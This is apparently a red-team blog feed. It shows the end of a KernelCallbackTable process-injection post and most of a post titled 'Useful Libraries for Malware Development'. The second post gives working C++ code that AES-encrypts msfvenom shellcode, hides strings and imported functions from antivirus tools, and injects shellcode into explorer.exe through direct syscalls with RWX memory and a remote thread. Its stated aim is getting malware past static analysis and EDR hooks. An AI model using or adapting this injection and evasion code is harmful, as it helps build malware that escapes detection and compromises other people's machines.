	<span class="n">cds</span><span class="p">.</span><span class="n">dwData</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">cbData</span> <span class="o">=</span> <span class="n">lstrlen</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">;</span>
	<span class="n">cds</span><span class="p">.</span><span class="n">lpData</span> <span class="o">=</span> <span class="n">msg</span><span class="p">;</span>
	<span class="n">SendMessage</span><span class="p">(</span><span class="n">hWindow</span><span class="p">,</span> <span class="n">WM_COPYDATA</span><span class="p">,</span> <span class="p">(</span><span class="n">WPARAM</span><span class="p">)</span><span class="n">hWindow</span><span class="p">,</span> <span class="p">(</span><span class="n">LPARAM</span><span class="p">)</span><span class="o">&amp;</span><span class="n">cds</span><span class="p">);</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Payload executed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<blockquote>
  <p><em><strong>NOTE:</strong> I already removed the cleanup code (like restoring the original <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code>) because they don’t matter anymore since the target process has already crashed and exited.</em></p>
</blockquote>

<blockquote>
  <p><em>The full project can be found <a href="https://github.com/capt-meelo/KernelCallbackTable-Injection">here</a>.</em></p>
</blockquote>

<p>And here it is in action.</p>

<p><a href="/static/img/2022-04-21-kernelcallbacktable-injection/kct-injection-worked.gif"><img src="/static/img/2022-04-21-kernelcallbacktable-injection/kct-injection-worked.gif" alt="Successful KernelCallbackTable Injection" /></a></p>

<h2 id="conclusion">Conclusion</h2>

<p>That’s it! That is how I modified the base PoC to make <code class="language-plaintext highlighter-rouge">KernelCallbackTable</code> process injection work according to what I wanted.</p>

<p>If anyone knows other solutions, like making the remote process not crash, I’m happy to hear it. :)</p>]]></content><author><name>Capt. Meelo</name></author><category term="redteam" /><category term="maldev" /><summary type="html"><![CDATA[A walkthrough on how I made KernelCallbackTable process injection work according to what I wanted.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://captmeelo.com/static/img/2022-04-21-kernelcallbacktable-injection/kct-injection-worked.gif" /><media:content medium="image" url="https://captmeelo.com/static/img/2022-04-21-kernelcallbacktable-injection/kct-injection-worked.gif" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Useful Libraries for Malware Development</title><link href="https://captmeelo.com/redteam/maldev/2022/02/16/libraries-for-maldev.html" rel="alternate" type="text/html" title="Useful Libraries for Malware Development" /><published>2022-02-16T00:00:00+00:00</published><updated>2022-02-16T00:00:00+00:00</updated><id>https://captmeelo.com/redteam/maldev/2022/02/16/libraries-for-maldev</id><content type="html" xml:base="https://captmeelo.com/redteam/maldev/2022/02/16/libraries-for-maldev.html"><![CDATA[<p>The use of libraries for development is great especially if you’re a beginner and wanted something that will surely work right out of the box and wanted to save time.</p>

<p>In this post, I’ll share some of the libraries that I found easy to use and useful during my malware development journey.</p>

<h2 id="tiny-aes-c">tiny-AES-c</h2>

<p>When writing malware, it’s a must to encrypt your shellcode. Otherwise, your malware won’t even pass the static analysis. One of the recommended ways of encrypting the shellcode is by using AES, and one of the easiest ways to implement this is by using the <a href="https://github.com/kokke/tiny-AES-c">kokke/tiny-AES-c</a> library.</p>

<p>To use this library, just add the following header and source files to your project.</p>

<ul>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.hpp">aes.hpp</a></li>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.h">aes.h</a></li>
  <li><a href="https://raw.githubusercontent.com/kokke/tiny-AES-c/master/aes.c">aes.c</a></li>
</ul>

<p>The following shows an example of how to AES-encrypt (using CBC mode) your shellcode and its corresponding output.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/aes.hpp"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">key</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Captain.MeeloIsTheSuperSecretKey"</span><span class="p">;</span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">iv</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98</span><span class="s">"</span><span class="p">;</span>

	<span class="k">struct</span> <span class="nc">AES_ctx</span> <span class="n">ctx</span><span class="p">;</span>
	<span class="n">AES_init_ctx_iv</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">);</span>
	<span class="n">AES_CBC_encrypt_buffer</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ctx</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">shellcodeSize</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"Encrypted buffer:</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">shellcodeSize</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\\</span><span class="s">x%02x"</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
	<span class="p">}</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>

</code></pre></div></div>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/aes-enc-shellcode.png"><img src="/static/img/2022-02-16-libraries-for-maldev/aes-enc-shellcode.png" alt="AES-encrypted Shellcode" /></a></p>

<p>To decrypt the encrypted shellcode, simply used the <code class="language-plaintext highlighter-rouge">AES_CBC_decrypt_buffer()</code> function.</p>

<p>Other AES libraries also exist like the following:</p>

<ul>
  <li><a href="https://github.com/SergeyBel/AES">SergeyBel/AES</a></li>
  <li><a href="https://github.com/kkAyataka/plusaes">kkAyataka/plusaes</a></li>
</ul>

<h2 id="skcrypter">skCrypter</h2>

<p><a href="https://github.com/skadro-official/skCrypter">skadro-official/skCrypter</a> is a compile-time, user-mode and kernel-mode string crypter library. It uses XOR algorithm with a randomized key and has protection against default XOR brute-forcing.</p>

<p>But why do we need to encrypt/obfuscate our strings? This is done to “hide” some of the arfifacts of your malware. While it may help a little bit against average reverse engineers, obfuscating strings is still a good idea.</p>

<p>As an example, take a look at the following code which dynamically resolves the <code class="language-plaintext highlighter-rouge">NtDelayExecution</code> function via <code class="language-plaintext highlighter-rouge">GetModuleHandleA</code> and <code class="language-plaintext highlighter-rouge">GetProcAddress</code> to perform a “sleep” routine.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">typedef</span> <span class="n">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">pNtDelayExecution</span><span class="p">)(</span><span class="n">IN</span> <span class="n">BOOLEAN</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PLARGE_INTEGER</span><span class="p">);</span>
	<span class="n">pNtDelayExecution</span> <span class="n">NtDelayExecution</span> <span class="o">=</span> <span class="p">(</span><span class="n">pNtDelayExecution</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="s">"ntdll.dll"</span><span class="p">),</span> <span class="s">"NtDelayExecution"</span><span class="p">);</span>

	<span class="kt">int</span> <span class="n">msDelaynumber</span> <span class="o">=</span> <span class="mi">10000</span><span class="p">;</span>
	<span class="n">LARGE_INTEGER</span>  <span class="n">delayInterval</span><span class="p">;</span>
	<span class="n">delayInterval</span><span class="p">.</span><span class="n">QuadPart</span> <span class="o">=</span> <span class="o">-</span><span class="mi">10000</span> <span class="o">*</span> <span class="n">msDelaynumber</span><span class="p">;</span>
	<span class="n">NtDelayExecution</span><span class="p">(</span><span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">delayInterval</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"Done!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>If we compile the above code and look for the “<code class="language-plaintext highlighter-rouge">ntdll.dll</code>” and “<code class="language-plaintext highlighter-rouge">NtDelayExecution</code>” strings, they are visible.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/skcrypter-unobfuscated.png"><img src="/static/img/2022-02-16-libraries-for-maldev/skcrypter-unobfuscated.png" alt="Unobfuscated Strings" /></a></p>

<p>If we used functions that are considered malicious, such as the combination of <code class="language-plaintext highlighter-rouge">OpenProcess</code>, <code class="language-plaintext highlighter-rouge">VirtualAllocEx</code>, <code class="language-plaintext highlighter-rouge">WriteProcessMemory</code>, and <code class="language-plaintext highlighter-rouge">CreateRemoteThread</code>, then our malware might not even pass the static analysis phase of an AV.</p>

<p>This is where the library <a href="https://github.com/skadro-official/skCrypter">skadro-official/skCrypter</a> comes into play. To use it, just import the header file <code class="language-plaintext highlighter-rouge">skCrypter.h</code> and place the strings you wanted to obfuscate within the <code class="language-plaintext highlighter-rouge">skCrypt()</code> function.</p>

<p>As a demo, the previous code was modified to hide both the “<code class="language-plaintext highlighter-rouge">ntdll.dll</code>” and “<code class="language-plaintext highlighter-rouge">NtDelayExecution</code>” strings using the <code class="language-plaintext highlighter-rouge">skCrypter.h</code> library:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/skCrypter.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
	<span class="k">typedef</span> <span class="n">NTSTATUS</span><span class="p">(</span><span class="n">WINAPI</span><span class="o">*</span> <span class="n">pNtDelayExecution</span><span class="p">)(</span><span class="n">IN</span> <span class="n">BOOLEAN</span><span class="p">,</span> <span class="n">IN</span> <span class="n">PLARGE_INTEGER</span><span class="p">);</span>
	<span class="n">pNtDelayExecution</span> <span class="n">NtDelayExecution</span> <span class="o">=</span> <span class="p">(</span><span class="n">pNtDelayExecution</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">GetModuleHandleA</span><span class="p">(</span><span class="n">skCrypt</span><span class="p">(</span><span class="s">"ntdll.dll"</span><span class="p">)),</span> <span class="n">skCrypt</span><span class="p">(</span><span class="s">"NtDelayExecution"</span><span class="p">));</span>

	<span class="kt">int</span> <span class="n">msDelaynumber</span> <span class="o">=</span> <span class="mi">10000</span><span class="p">;</span>
	<span class="n">LARGE_INTEGER</span>  <span class="n">delayInterval</span><span class="p">;</span>
	<span class="n">delayInterval</span><span class="p">.</span><span class="n">QuadPart</span> <span class="o">=</span> <span class="o">-</span><span class="mi">10000</span> <span class="o">*</span> <span class="n">msDelaynumber</span><span class="p">;</span>
	<span class="n">NtDelayExecution</span><span class="p">(</span><span class="n">FALSE</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">delayInterval</span><span class="p">);</span>

	<span class="n">printf</span><span class="p">(</span><span class="s">"Done!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As we can see, the strings disappeared within the binary.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/skcrypter-obfuscated.png"><img src="/static/img/2022-02-16-libraries-for-maldev/skcrypter-obfuscated.png" alt="Obfuscated Strings" /></a></p>

<p>I also found the following string encryption libraries, though I haven’t used/tested them:</p>

<ul>
  <li><a href="https://github.com/JustasMasiulis/xorstr">JustasMasiulis/xorstr</a></li>
  <li><a href="https://github.com/qis/xorstr">qis/xorstr</a></li>
  <li><a href="https://github.com/TyrarFox/encstr">TyrarFox/encstr</a></li>
  <li><a href="https://github.com/pyj2323/StrCrypt">pyj2323/StrCrypt</a></li>
</ul>

<h2 id="lazy_importer">lazy_importer</h2>

<p>WinAPI functions used by binaries are listed in the binary’s <strong>Import Address Table (IAT)</strong>. This is not good in terms of evasion since most anti-malware solutions reads the binary’s <strong>IAT</strong> and checks for the presence of dangerous/malicious functions imported/used.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>

    <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
    <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>

    <span class="n">CreateProcessW</span><span class="p">(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>

    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
    
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>For example, if the above code was compiled, the function <code class="language-plaintext highlighter-rouge">CreateProcessW</code> is listed in the <strong>IAT</strong> and is flagged by <a href="https://www.winitor.com/download/">PEStudio</a>.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/func-in-iat.png"><img src="/static/img/2022-02-16-libraries-for-maldev/func-in-iat.png" alt="CreateProcessW Lsited in IAT" /></a></p>

<p>This artifact can be easily hidden by utilizing the <a href="https://github.com/JustasMasiulis/lazy_importer">JustasMasiulis/lazy_importer</a> header. Using it is as simple as importing the header file <code class="language-plaintext highlighter-rouge">lazy_importer.hpp</code> and invoking the <code class="language-plaintext highlighter-rouge">LI_FN()</code> function. For example:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/lazy_importer.hpp"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>

    <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span><span class="p">;</span>
    <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">si</span><span class="p">)</span> <span class="p">};</span>

    <span class="n">LI_FN</span><span class="p">(</span><span class="n">CreateProcessW</span><span class="p">)(</span><span class="s">L"C:</span><span class="se">\\</span><span class="s">Windows</span><span class="se">\\</span><span class="s">System32</span><span class="se">\\</span><span class="s">notepad.exe"</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="nb">nullptr</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">si</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pi</span><span class="p">);</span>

    <span class="n">WaitForSingleObject</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">INFINITE</span><span class="p">);</span>
    
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">);</span>
    <span class="n">CloseHandle</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
<span class="p">}</span>

</code></pre></div></div>
<blockquote>
  <p><em><strong>NOTE:</strong> Change <code class="language-plaintext highlighter-rouge">NULL</code> values to <code class="language-plaintext highlighter-rouge">nullptr</code> otherwise you’ll get a compilation error.</em></p>
</blockquote>

<p>If we look at the <strong>IAT</strong> again, the <code class="language-plaintext highlighter-rouge">CreateProcessW</code> function is not listed anymore.</p>

<p><a href="/static/img/2022-02-16-libraries-for-maldev/no-func-in-iat.png"><img src="/static/img/2022-02-16-libraries-for-maldev/no-func-in-iat.png" alt="CreateProcessW Gone from IAT" /></a></p>

<p>The following could also be used as an alternative library to dynamically import functions and modules:</p>

<ul>
  <li><a href="https://github.com/AmJayden/Lazy-Importer">AmJayden/Lazy-Importer</a></li>
</ul>

<h2 id="syswhisper2">SysWhisper2</h2>

<p>If you’ve been into AV/EDR evasion, I’m sure you’re aware that using <strong>syscalls</strong> is a well-known method to bypass detection controls (such as “User-land Hooking”) by jumping into kernel-mode. And if you heard about <strong>syscalls</strong>, most likely you’re familiar with the tool <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a>.</p>

<p>To use the tool, just run the python script <code class="language-plaintext highlighter-rouge">syswhispers.py</code> with the “<strong>Nt*</strong>” functions you want to use to generate the required files. For example:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 syswhispers.py <span class="nt">-f</span> NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose <span class="nt">-o</span> syscalls

                  <span class="nb">.</span>                         ,--.
,-. <span class="nb">.</span> <span class="nb">.</span> ,-. <span class="nb">.</span> , , |-. o ,-. ,-. ,-. ,-. ,-.    /
<span class="sb">`</span>-. | | <span class="sb">`</span>-. |/|/  | | | <span class="sb">`</span>-. | | |-<span class="s1">' |   `-. ,-'</span>
<span class="sb">`</span>-<span class="s1">' `-| `-'</span> <span class="s1">' '</span>   <span class="s1">' '</span> <span class="s1">' `-'</span> |-<span class="s1">' `-'</span> <span class="s1">'   `-'</span> <span class="sb">`</span><span class="nt">---</span>
     /|                     |  @Jackson_T
    <span class="sb">`</span>-<span class="s1">'                     '</span>  @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.asm
</code></pre></div></div>

<p>Then do the following:</p>

<ol>
  <li>Copy the generated H/C/ASM files into the project folder.</li>
  <li>In Visual Studio, go to Project → Build Customizations… and enable MASM.</li>
  <li>In the Solution Explorer, add the .h and .c/.asm files to the project as header and source files, respectively.</li>
  <li>Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.</li>
  <li>Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.</li>
</ol>

<p>The “<strong>Nt*</strong>” functions can now be used. For example:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">"lib/syscalls.h"</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
	<span class="c1">// PID of explorer.exe</span>
	<span class="n">DWORD</span> <span class="n">pid</span> <span class="o">=</span> <span class="mi">11256</span><span class="p">;</span>

	<span class="c1">// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c </span>
	<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00</span><span class="s">"</span><span class="p">;</span>
	<span class="n">SIZE_T</span> <span class="n">shellcodeSize</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hProcess</span><span class="p">;</span>
	<span class="n">OBJECT_ATTRIBUTES</span> <span class="n">objectAttributes</span> <span class="o">=</span> <span class="p">{</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">objectAttributes</span><span class="p">)</span> <span class="p">};</span>
	<span class="n">CLIENT_ID</span> <span class="n">clientId</span> <span class="o">=</span> <span class="p">{</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="n">pid</span><span class="p">,</span> <span class="nb">NULL</span> <span class="p">};</span>
	<span class="n">NtOpenProcess</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">objectAttributes</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">clientId</span><span class="p">);</span>

	<span class="n">LPVOID</span> <span class="n">baseAddress</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">NtAllocateVirtualMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">baseAddress</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">shellcodeSize</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>

	<span class="n">NtWriteVirtualMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">shellcode</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">HANDLE</span> <span class="n">hThread</span><span class="p">;</span>
	<span class="n">NtCreateThreadEx</span><span class="p">(</span><span class="o">&amp;</span><span class="n">hThread</span><span class="p">,</span> <span class="n">GENERIC_EXECUTE</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">hProcess</span><span class="p">,</span> <span class="n">baseAddress</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">FALSE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="n">NtClose</span><span class="p">(</span><span class="n">hProcess</span><span class="p">);</span>
	<span class="n">NtClose</span><span class="p">(</span><span class="n">hThread</span><span class="p">);</span>

	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The downside of using this tool is that it’s already signatured by AV, though it can still be bypassed as mentioned in my <a href="https://captmeelo.com/redteam/maldev/2021/11/18/av-evasion-syswhisper.html">previous post</a>.</p>

<blockquote>
  <p><em>For x86 syscalls, <a href="https://github.com/mai1zhi2/SysWhispers2_x86">mai1zhi2/SysWhispers2_x86</a> could be used.</em></p>
</blockquote>

<h2 id="inline_syscall">inline_syscall</h2>

<p>Aside from being detected by AVs, the other thing that I don’t like with <a href="https://github.com/jthuraisamy/SysWhispers2">jthuraisamy/SysWhispers2</a> is the additional task of re-running the tool and re-importing the generated files every time I need to add or use a new “<strong>Nt*</strong>” functions.</p>

<p>Good thing, <a href="https://github.com/JustasMasiulis/inline_syscall">JustasMasiulis/inline_syscall</a> solves this issue. To use it, simply import the following files as header files:</p>

<ul>
  <li><a href="https://github.com/JustasMasiulis/inline_syscall/raw/master/include/in_memory_init.hpp">in_memory_init.hpp</a></li>
  <li><a href="https://github.com/JustasMasiulis/inline_syscall/raw/master/include/inline_syscall.hpp">inline_syscall.hpp</a></li>
  <li><a href="https://github.com/JustasMasiulis/inline_syscall/raw/master/include/inline_syscall.inl">inline_syscall.inl</a></li>
</ul>

<p>Then call the initialization function <code class="language-plaintext highlighter-rouge">jm::init_syscalls_list()</code> before using the <code class="language-plaintext highlighter-rouge">INLINE_SYSCALL(function_pointer)</code> and <code class="language-plaintext highlighter-rouge">INLINE_SYSCALL_T(function_type)</code> macros.</p>

<blockquote>
  <p><em>NOTE: If you’re using Visual Studio, make sure to use <code class="language-plaintext highlighter-rouge">LLVM (clang-cl)</code> as the <strong>Platform Toolset</strong>.</em>
